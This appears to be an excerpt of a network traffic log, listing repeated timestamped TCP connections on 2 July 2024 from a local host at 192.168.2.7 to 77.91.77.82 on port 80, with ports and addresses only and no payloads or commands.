Jul 2, 2024 12:21:39.128953934 CEST	55246	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:21:39.133698940 CEST	80	55246	77.91.77.82	192.168.2.7
Jul 2, 2024 12:21:39.133766890 CEST	55246	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:21:39.133785009 CEST	80	55245	77.91.77.82	192.168.2.7
Jul 2, 2024 12:21:39.133825064 CEST	55245	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:21:39.134027004 CEST	55246	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:21:39.138760090 CEST	80	55246	77.91.77.82	192.168.2.7
Jul 2, 2024 12:21:39.846878052 CEST	80	55246	77.91.77.82	192.168.2.7
Jul 2, 2024 12:21:39.846956968 CEST	55246	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:21:39.847584963 CEST	55246	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:21:39.852463007 CEST	80	55246	77.91.77.82	192.168.2.7
Jul 2, 2024 12:21:40.072905064 CEST	80	55246	77.91.77.82	192.168.2.7
Jul 2, 2024 12:21:40.073081017 CEST	55246	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:21:40.175522089 CEST	55246	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:21:40.175923109 CEST	55247	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:21:40.181186914 CEST	80	55246	77.91.77.82	192.168.2.7
Jul 2, 2024 12:21:40.181252003 CEST	55246	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:21:40.181267977 CEST	80	55247	77.91.77.82	192.168.2.7
Jul 2, 2024 12:21:40.181322098 CEST	55247	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:21:40.181417942 CEST	55247	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:21:40.186206102 CEST	80	55247	77.91.77.82	192.168.2.7
Jul 2, 2024 12:21:40.868434906 CEST	80	55247	77.91.77.82	192.168.2.7
Jul 2, 2024 12:21:40.868503094 CEST	55247	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:21:40.869081020 CEST	55247	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:21:40.873897076 CEST	80	55247	77.91.77.82	192.168.2.7
Jul 2, 2024 12:21:41.084227085 CEST	80	55247	77.91.77.82	192.168.2.7
Jul 2, 2024 12:21:41.084291935 CEST	55247	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:21:41.191229105 CEST	55247	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:21:41.191418886 CEST	55248	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:21:41.196291924 CEST	80	55248	77.91.77.82	192.168.2.7
Jul 2, 2024 12:21:41.196393967 CEST	55248	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:21:41.196562052 CEST	80	55247	77.91.77.82	192.168.2.7
Jul 2, 2024 12:21:41.196584940 CEST	55248	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:21:41.196610928 CEST	55247	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:21:41.201391935 CEST	80	55248	77.91.77.82	192.168.2.7
Jul 2, 2024 12:21:41.910748005 CEST	80	55248	77.91.77.82	192.168.2.7
Jul 2, 2024 12:21:41.910821915 CEST	55248	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:21:41.911473989 CEST	55248	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:21:41.916208029 CEST	80	55248	77.91.77.82	192.168.2.7
Jul 2, 2024 12:21:42.134713888 CEST	80	55248	77.91.77.82	192.168.2.7
Jul 2, 2024 12:21:42.134780884 CEST	55248	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:21:42.238085032 CEST	55248	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:21:42.238533974 CEST	55249	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:21:42.243386030 CEST	80	55248	77.91.77.82	192.168.2.7
Jul 2, 2024 12:21:42.243405104 CEST	80	55249	77.91.77.82	192.168.2.7
Jul 2, 2024 12:21:42.243460894 CEST	55248	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:21:42.243494987 CEST	55249	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:21:42.243613005 CEST	55249	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:21:42.248334885 CEST	80	55249	77.91.77.82	192.168.2.7
Jul 2, 2024 12:21:43.192764044 CEST	80	55249	77.91.77.82	192.168.2.7
Jul 2, 2024 12:21:43.192825079 CEST	55249	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:21:43.193279982 CEST	80	55249	77.91.77.82	192.168.2.7
Jul 2, 2024 12:21:43.193315983 CEST	55249	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:21:43.193422079 CEST	55249	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:21:43.198120117 CEST	80	55249	77.91.77.82	192.168.2.7
Jul 2, 2024 12:21:43.424899101 CEST	80	55249	77.91.77.82	192.168.2.7
Jul 2, 2024 12:21:43.425007105 CEST	55249	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:21:43.535037041 CEST	55249	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:21:43.535329103 CEST	55250	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:21:43.540858030 CEST	80	55250	77.91.77.82	192.168.2.7
Jul 2, 2024 12:21:43.540872097 CEST	80	55249	77.91.77.82	192.168.2.7
Jul 2, 2024 12:21:43.541059017 CEST	55249	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:21:43.541100025 CEST	55250	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:21:43.541574001 CEST	55250	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:21:43.546509981 CEST	80	55250	77.91.77.82	192.168.2.7
Jul 2, 2024 12:21:44.259269953 CEST	80	55250	77.91.77.82	192.168.2.7
Jul 2, 2024 12:21:44.259365082 CEST	55250	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:21:44.267473936 CEST	55250	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:21:44.273200989 CEST	80	55250	77.91.77.82	192.168.2.7
Jul 2, 2024 12:21:44.493499041 CEST	80	55250	77.91.77.82	192.168.2.7
Jul 2, 2024 12:21:44.493601084 CEST	55250	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:21:44.610965014 CEST	55250	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:21:44.611287117 CEST	55251	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:21:44.616080046 CEST	80	55251	77.91.77.82	192.168.2.7
Jul 2, 2024 12:21:44.616169930 CEST	80	55250	77.91.77.82	192.168.2.7
Jul 2, 2024 12:21:44.616189003 CEST	55251	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:21:44.616226912 CEST	55250	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:21:44.616396904 CEST	55251	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:21:44.621189117 CEST	80	55251	77.91.77.82	192.168.2.7
Jul 2, 2024 12:21:45.317827940 CEST	80	55251	77.91.77.82	192.168.2.7
Jul 2, 2024 12:21:45.317985058 CEST	55251	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:21:45.318818092 CEST	55251	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:21:45.323565960 CEST	80	55251	77.91.77.82	192.168.2.7
Jul 2, 2024 12:21:45.538363934 CEST	80	55251	77.91.77.82	192.168.2.7
Jul 2, 2024 12:21:45.538414001 CEST	55251	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:21:45.644324064 CEST	55251	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:21:45.644658089 CEST	55252	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:21:45.649506092 CEST	80	55252	77.91.77.82	192.168.2.7
Jul 2, 2024 12:21:45.649599075 CEST	55252	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:21:45.649630070 CEST	80	55251	77.91.77.82	192.168.2.7
Jul 2, 2024 12:21:45.649672985 CEST	55251	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:21:45.649791002 CEST	55252	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:21:45.654517889 CEST	80	55252	77.91.77.82	192.168.2.7
Jul 2, 2024 12:21:46.345463037 CEST	80	55252	77.91.77.82	192.168.2.7
Jul 2, 2024 12:21:46.345529079 CEST	55252	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:21:46.346153021 CEST	55252	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:21:46.351093054 CEST	80	55252	77.91.77.82	192.168.2.7
Jul 2, 2024 12:21:46.563842058 CEST	80	55252	77.91.77.82	192.168.2.7
Jul 2, 2024 12:21:46.564050913 CEST	55252	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:21:46.678854942 CEST	55252	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:21:46.679172993 CEST	55253	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:21:46.684181929 CEST	80	55252	77.91.77.82	192.168.2.7
Jul 2, 2024 12:21:46.684195995 CEST	80	55253	77.91.77.82	192.168.2.7
Jul 2, 2024 12:21:46.684238911 CEST	55252	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:21:46.684276104 CEST	55253	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:21:46.684428930 CEST	55253	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:21:46.689193010 CEST	80	55253	77.91.77.82	192.168.2.7
Jul 2, 2024 12:21:47.398473024 CEST	80	55253	77.91.77.82	192.168.2.7
Jul 2, 2024 12:21:47.398582935 CEST	55253	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:21:47.399262905 CEST	55253	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:21:47.404047012 CEST	80	55253	77.91.77.82	192.168.2.7
Jul 2, 2024 12:21:47.626161098 CEST	80	55253	77.91.77.82	192.168.2.7
Jul 2, 2024 12:21:47.626409054 CEST	55253	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:21:47.738205910 CEST	55253	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:21:47.738526106 CEST	55254	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:21:47.743551970 CEST	80	55253	77.91.77.82	192.168.2.7
Jul 2, 2024 12:21:47.743575096 CEST	80	55254	77.91.77.82	192.168.2.7
Jul 2, 2024 12:21:47.743613005 CEST	55253	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:21:47.743659973 CEST	55254	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:21:47.743825912 CEST	55254	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:21:47.748586893 CEST	80	55254	77.91.77.82	192.168.2.7
Jul 2, 2024 12:21:48.444000959 CEST	80	55254	77.91.77.82	192.168.2.7
Jul 2, 2024 12:21:48.444319010 CEST	55254	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:21:48.444833994 CEST	55254	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:21:48.449596882 CEST	80	55254	77.91.77.82	192.168.2.7
Jul 2, 2024 12:21:48.665350914 CEST	80	55254	77.91.77.82	192.168.2.7
Jul 2, 2024 12:21:48.665554047 CEST	55254	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:21:48.769817114 CEST	55254	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:21:48.770061970 CEST	55255	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:21:48.774822950 CEST	80	55254	77.91.77.82	192.168.2.7
Jul 2, 2024 12:21:48.774847031 CEST	80	55255	77.91.77.82	192.168.2.7
Jul 2, 2024 12:21:48.774966955 CEST	55254	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:21:48.775059938 CEST	55255	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:21:48.775161028 CEST	55255	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:21:48.779870987 CEST	80	55255	77.91.77.82	192.168.2.7
Jul 2, 2024 12:21:49.464545012 CEST	80	55255	77.91.77.82	192.168.2.7
Jul 2, 2024 12:21:49.464621067 CEST	55255	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:21:49.465251923 CEST	55255	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:21:49.470439911 CEST	80	55255	77.91.77.82	192.168.2.7
Jul 2, 2024 12:21:49.680588961 CEST	80	55255	77.91.77.82	192.168.2.7
Jul 2, 2024 12:21:49.680707932 CEST	55255	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:21:49.784981966 CEST	55255	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:21:49.785310984 CEST	55256	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:21:49.790939093 CEST	80	55256	77.91.77.82	192.168.2.7
Jul 2, 2024 12:21:49.791033983 CEST	55256	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:21:49.791184902 CEST	80	55255	77.91.77.82	192.168.2.7
Jul 2, 2024 12:21:49.791230917 CEST	55256	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:21:49.791232109 CEST	55255	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:21:49.796940088 CEST	80	55256	77.91.77.82	192.168.2.7
Jul 2, 2024 12:21:50.474065065 CEST	80	55256	77.91.77.82	192.168.2.7
Jul 2, 2024 12:21:50.474134922 CEST	55256	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:21:50.474792957 CEST	55256	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:21:50.479552031 CEST	80	55256	77.91.77.82	192.168.2.7
Jul 2, 2024 12:21:50.688565969 CEST	80	55256	77.91.77.82	192.168.2.7
Jul 2, 2024 12:21:50.688781023 CEST	55256	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:21:50.800638914 CEST	55256	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:21:50.800944090 CEST	55257	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:21:50.805830956 CEST	80	55256	77.91.77.82	192.168.2.7
Jul 2, 2024 12:21:50.805886030 CEST	55256	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:21:50.805917025 CEST	80	55257	77.91.77.82	192.168.2.7
Jul 2, 2024 12:21:50.805979013 CEST	55257	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:21:50.806114912 CEST	55257	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:21:50.810961008 CEST	80	55257	77.91.77.82	192.168.2.7
Jul 2, 2024 12:21:51.540190935 CEST	80	55257	77.91.77.82	192.168.2.7
Jul 2, 2024 12:21:51.540291071 CEST	55257	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:21:51.550627947 CEST	55257	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:21:51.555408001 CEST	80	55257	77.91.77.82	192.168.2.7
Jul 2, 2024 12:21:51.778215885 CEST	80	55257	77.91.77.82	192.168.2.7
Jul 2, 2024 12:21:51.778301001 CEST	55257	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:21:51.894248009 CEST	55257	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:21:51.894553900 CEST	55258	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:21:51.899413109 CEST	80	55257	77.91.77.82	192.168.2.7
Jul 2, 2024 12:21:51.899436951 CEST	80	55258	77.91.77.82	192.168.2.7
Jul 2, 2024 12:21:51.899471045 CEST	55257	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:21:51.899524927 CEST	55258	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:21:51.899622917 CEST	55258	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:21:51.904328108 CEST	80	55258	77.91.77.82	192.168.2.7
Jul 2, 2024 12:21:52.596684933 CEST	80	55258	77.91.77.82	192.168.2.7
Jul 2, 2024 12:21:52.596827030 CEST	55258	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:21:52.599482059 CEST	55258	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:21:52.604298115 CEST	80	55258	77.91.77.82	192.168.2.7
Jul 2, 2024 12:21:52.817652941 CEST	80	55258	77.91.77.82	192.168.2.7
Jul 2, 2024 12:21:52.817714930 CEST	55258	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:21:52.925579071 CEST	55258	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:21:52.925904989 CEST	55259	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:21:52.931688070 CEST	80	55259	77.91.77.82	192.168.2.7
Jul 2, 2024 12:21:52.931765079 CEST	55259	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:21:52.931917906 CEST	80	55258	77.91.77.82	192.168.2.7
Jul 2, 2024 12:21:52.931930065 CEST	55259	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:21:52.931967020 CEST	55258	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:21:52.937870979 CEST	80	55259	77.91.77.82	192.168.2.7
Jul 2, 2024 12:21:53.627583981 CEST	80	55259	77.91.77.82	192.168.2.7
Jul 2, 2024 12:21:53.627646923 CEST	55259	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:21:53.628957987 CEST	55259	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:21:53.633831024 CEST	80	55259	77.91.77.82	192.168.2.7
Jul 2, 2024 12:21:53.846075058 CEST	80	55259	77.91.77.82	192.168.2.7
Jul 2, 2024 12:21:53.846149921 CEST	55259	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:21:53.956911087 CEST	55259	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:21:53.957236052 CEST	55261	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:21:53.961972952 CEST	80	55261	77.91.77.82	192.168.2.7
Jul 2, 2024 12:21:53.961997986 CEST	80	55259	77.91.77.82	192.168.2.7
Jul 2, 2024 12:21:53.962085009 CEST	55261	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:21:53.962114096 CEST	55259	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:21:53.962236881 CEST	55261	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:21:53.966947079 CEST	80	55261	77.91.77.82	192.168.2.7
Jul 2, 2024 12:21:54.650589943 CEST	80	55261	77.91.77.82	192.168.2.7
Jul 2, 2024 12:21:54.650682926 CEST	55261	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:21:54.651401997 CEST	55261	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:21:54.656301975 CEST	80	55261	77.91.77.82	192.168.2.7
Jul 2, 2024 12:21:54.867841005 CEST	80	55261	77.91.77.82	192.168.2.7
Jul 2, 2024 12:21:54.868061066 CEST	55261	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:21:54.972353935 CEST	55261	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:21:54.972656012 CEST	55262	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:21:54.980933905 CEST	80	55262	77.91.77.82	192.168.2.7
Jul 2, 2024 12:21:54.981031895 CEST	55262	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:21:54.981157064 CEST	80	55261	77.91.77.82	192.168.2.7
Jul 2, 2024 12:21:54.981208086 CEST	55261	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:21:54.981302023 CEST	55262	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:21:54.987390995 CEST	80	55262	77.91.77.82	192.168.2.7
Jul 2, 2024 12:21:55.690674067 CEST	80	55262	77.91.77.82	192.168.2.7
Jul 2, 2024 12:21:55.690932035 CEST	55262	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:21:55.691482067 CEST	55262	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:21:55.696259975 CEST	80	55262	77.91.77.82	192.168.2.7
Jul 2, 2024 12:21:55.910290003 CEST	80	55262	77.91.77.82	192.168.2.7
Jul 2, 2024 12:21:55.910474062 CEST	55262	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:21:56.019325972 CEST	55262	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:21:56.019591093 CEST	55263	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:21:56.024672985 CEST	80	55262	77.91.77.82	192.168.2.7
Jul 2, 2024 12:21:56.024684906 CEST	80	55263	77.91.77.82	192.168.2.7
Jul 2, 2024 12:21:56.024725914 CEST	55262	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:21:56.024754047 CEST	55263	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:21:56.024934053 CEST	55263	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:21:56.029694080 CEST	80	55263	77.91.77.82	192.168.2.7
Jul 2, 2024 12:21:56.728543997 CEST	80	55263	77.91.77.82	192.168.2.7
Jul 2, 2024 12:21:56.728653908 CEST	55263	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:21:56.729300022 CEST	55263	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:21:56.734097958 CEST	80	55263	77.91.77.82	192.168.2.7
Jul 2, 2024 12:21:56.953438997 CEST	80	55263	77.91.77.82	192.168.2.7
Jul 2, 2024 12:21:56.953655958 CEST	55263	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:21:57.066289902 CEST	55263	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:21:57.066499949 CEST	55264	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:21:57.072962999 CEST	80	55263	77.91.77.82	192.168.2.7
Jul 2, 2024 12:21:57.072977066 CEST	80	55264	77.91.77.82	192.168.2.7
Jul 2, 2024 12:21:57.073050022 CEST	55263	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:21:57.073095083 CEST	55264	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:21:57.073273897 CEST	55264	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:21:57.078206062 CEST	80	55264	77.91.77.82	192.168.2.7
Jul 2, 2024 12:21:57.814618111 CEST	80	55264	77.91.77.82	192.168.2.7
Jul 2, 2024 12:21:57.814671993 CEST	55264	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:21:57.815346003 CEST	55264	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:21:57.820168018 CEST	80	55264	77.91.77.82	192.168.2.7
Jul 2, 2024 12:21:58.035787106 CEST	80	55264	77.91.77.82	192.168.2.7
Jul 2, 2024 12:21:58.035873890 CEST	55264	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:21:58.144378901 CEST	55264	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:21:58.144723892 CEST	55265	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:21:58.150528908 CEST	80	55264	77.91.77.82	192.168.2.7
Jul 2, 2024 12:21:58.150543928 CEST	80	55265	77.91.77.82	192.168.2.7
Jul 2, 2024 12:21:58.150614023 CEST	55264	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:21:58.150649071 CEST	55265	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:21:58.150774002 CEST	55265	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:21:58.156271935 CEST	80	55265	77.91.77.82	192.168.2.7
Jul 2, 2024 12:21:58.865814924 CEST	80	55265	77.91.77.82	192.168.2.7
Jul 2, 2024 12:21:58.866097927 CEST	55265	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:21:58.867086887 CEST	55265	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:21:58.871964931 CEST	80	55265	77.91.77.82	192.168.2.7
Jul 2, 2024 12:21:59.088421106 CEST	80	55265	77.91.77.82	192.168.2.7
Jul 2, 2024 12:21:59.088567972 CEST	55265	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:21:59.191216946 CEST	55265	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:21:59.191544056 CEST	55266	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:21:59.196747065 CEST	80	55265	77.91.77.82	192.168.2.7
Jul 2, 2024 12:21:59.196759939 CEST	80	55266	77.91.77.82	192.168.2.7
Jul 2, 2024 12:21:59.196805000 CEST	55265	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:21:59.196837902 CEST	55266	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:21:59.197011948 CEST	55266	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:21:59.202270031 CEST	80	55266	77.91.77.82	192.168.2.7
Jul 2, 2024 12:21:59.911086082 CEST	80	55266	77.91.77.82	192.168.2.7
Jul 2, 2024 12:21:59.911217928 CEST	55266	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:21:59.912064075 CEST	55266	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:21:59.916830063 CEST	80	55266	77.91.77.82	192.168.2.7
Jul 2, 2024 12:22:00.136271000 CEST	80	55266	77.91.77.82	192.168.2.7
Jul 2, 2024 12:22:00.136358023 CEST	55266	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:22:00.240401983 CEST	55266	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:22:00.240641117 CEST	55267	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:22:00.245464087 CEST	80	55267	77.91.77.82	192.168.2.7
Jul 2, 2024 12:22:00.245574951 CEST	55267	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:22:00.245640993 CEST	80	55266	77.91.77.82	192.168.2.7
Jul 2, 2024 12:22:00.245685101 CEST	55267	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:22:00.245701075 CEST	55266	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:22:00.250437975 CEST	80	55267	77.91.77.82	192.168.2.7
Jul 2, 2024 12:22:00.941287041 CEST	80	55267	77.91.77.82	192.168.2.7
Jul 2, 2024 12:22:00.941386938 CEST	55267	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:22:00.942270041 CEST	55267	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:22:00.947014093 CEST	80	55267	77.91.77.82	192.168.2.7
Jul 2, 2024 12:22:01.161402941 CEST	80	55267	77.91.77.82	192.168.2.7
Jul 2, 2024 12:22:01.161462069 CEST	55267	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:22:01.269484043 CEST	55267	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:22:01.269793987 CEST	55268	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:22:01.274573088 CEST	80	55268	77.91.77.82	192.168.2.7
Jul 2, 2024 12:22:01.274630070 CEST	55268	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:22:01.274703026 CEST	80	55267	77.91.77.82	192.168.2.7
Jul 2, 2024 12:22:01.274775982 CEST	55267	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:22:01.274862051 CEST	55268	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:22:01.279607058 CEST	80	55268	77.91.77.82	192.168.2.7
Jul 2, 2024 12:22:02.000719070 CEST	80	55268	77.91.77.82	192.168.2.7
Jul 2, 2024 12:22:02.000871897 CEST	55268	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:22:02.001740932 CEST	55268	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:22:02.007313967 CEST	80	55268	77.91.77.82	192.168.2.7
Jul 2, 2024 12:22:02.228586912 CEST	80	55268	77.91.77.82	192.168.2.7
Jul 2, 2024 12:22:02.228662014 CEST	55268	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:22:02.331996918 CEST	55268	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:22:02.332395077 CEST	55269	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:22:02.337553978 CEST	80	55269	77.91.77.82	192.168.2.7
Jul 2, 2024 12:22:02.337568045 CEST	80	55268	77.91.77.82	192.168.2.7
Jul 2, 2024 12:22:02.337650061 CEST	55268	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:22:02.337660074 CEST	55269	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:22:02.337821007 CEST	55269	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:22:02.343091965 CEST	80	55269	77.91.77.82	192.168.2.7
Jul 2, 2024 12:22:03.045504093 CEST	80	55269	77.91.77.82	192.168.2.7
Jul 2, 2024 12:22:03.045574903 CEST	55269	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:22:03.046344995 CEST	55269	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:22:03.061162949 CEST	80	55269	77.91.77.82	192.168.2.7
Jul 2, 2024 12:22:03.277867079 CEST	80	55269	77.91.77.82	192.168.2.7
Jul 2, 2024 12:22:03.277961969 CEST	55269	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:22:03.394305944 CEST	55269	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:22:03.394701004 CEST	55270	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:22:03.399683952 CEST	80	55270	77.91.77.82	192.168.2.7
Jul 2, 2024 12:22:03.399777889 CEST	55270	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:22:03.399804115 CEST	80	55269	77.91.77.82	192.168.2.7
Jul 2, 2024 12:22:03.399851084 CEST	55269	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:22:03.399993896 CEST	55270	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:22:03.405009031 CEST	80	55270	77.91.77.82	192.168.2.7
Jul 2, 2024 12:22:04.104794979 CEST	80	55270	77.91.77.82	192.168.2.7
Jul 2, 2024 12:22:04.104873896 CEST	55270	80	192.168.2.7	77.91.77.82
